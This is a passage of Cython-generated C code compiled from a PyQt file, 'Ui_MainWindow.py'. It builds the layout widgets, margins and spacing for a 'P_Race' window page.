PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_3}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2, __pyx_t_7) < 0) __PYX_ERR(0, 659, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":660 * self.P_Race.setObjectName("P_Race") * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) # <<<<<<<<<<<<<< * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setGeometry); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QRect); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__422, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_6))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_3); __pyx_t_3 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_t_4, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 660, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":661 * self.verticalLayoutWidget_2 = QtWidgets.QWidget(self.P_Race) * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") # <<<<<<<<<<<<<< * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 661, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 661, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__423, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 661, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":662 * self.verticalLayoutWidget_2.setGeometry(QtCore.QRect(-1, -1, 801, 491)) * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) */ __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QVBoxLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayoutWidget_2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_4))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_1) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_6}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_3 = PyTuple_New(1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_3, 0+1, __pyx_t_6); __pyx_t_6 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_3, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race, __pyx_t_7) < 0) __PYX_ERR(0, 662, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":663 * self.verticalLayoutWidget_2.setObjectName("verticalLayoutWidget_2") * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Race.setSpacing(1) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setSizeConstraint); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QLayout); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_SetMaximumSize); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_6)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_6); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_6) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_t_4}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_1, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 663, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":664 * self.verticalLayout_P_Race = QtWidgets.QVBoxLayout(self.verticalLayoutWidget_2) * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.setSpacing(1) * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 664, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 664, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__424, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 664, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":665 * self.verticalLayout_P_Race.setSizeConstraint(QtWidgets.QLayout.SetMaximumSize) * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Race.setSpacing(1) # <<<<<<<<<<<<<< * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 665, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 665, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__425, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 665, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":666 * self.verticalLayout_P_Race.setContentsMargins(0, 0, 0, 0) * self.verticalLayout_P_Race.setSpacing(1) * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") # <<<<<<<<<<<<<< * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_verticalLayout_P_Race); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 666, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 666, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__426, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 666, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":667 * self.verticalLayout_P_Race.setSpacing(1) * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() # <<<<<<<<<<<<<< * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 667, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_QHBoxLayout); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 667, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_1))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (__pyx_t_3) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_3); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 667, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_7 = __Pyx_PyObject_CallNoArg(__pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 667, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4, __pyx_t_7) < 0) __PYX_ERR(0, 667, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":668 * self.verticalLayout_P_Race.setObjectName("verticalLayout_P_Race") * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) # <<<<<<<<<<<<<< * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) * self.horizontalLayout_4.setSpacing(2) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setSizeConstraint); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_QLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_SetMinimumSize); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_4) { __pyx_t_7 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_7); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_1}; __pyx_t_7 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_6 = PyTuple_New(1+1); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_4); __pyx_t_4 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_6, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 668, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":669 * self.horizontalLayout_4 = QtWidgets.QHBoxLayout() * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) # <<<<<<<<<<<<<< * self.horizontalLayout_4.setSpacing(2) * self.horizontalLayout_4.setObjectName("horizontalLayout_4") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 669, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setContentsMargins); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 669, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__427, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 669, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":670 * self.horizontalLayout_4.setSizeConstraint(QtWidgets.QLayout.SetMinimumSize) * self.horizontalLayout_4.setContentsMargins(1, 1, 1, 1) * self.horizontalLayout_4.setSpacing(2) # <<<<<<<<<<<<<< * self.horizontalLayout_4.setObjectName("horizontalLayout_4") * self.PB_TimeRace = QtWidgets.QProgressBar(self.verticalLayoutWidget_2) */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_horizontalLayout_4); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 670, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setSpacing); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 670, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_tuple__428, NULL); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 670, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; /* "Ui_MainWindow.py":671 * 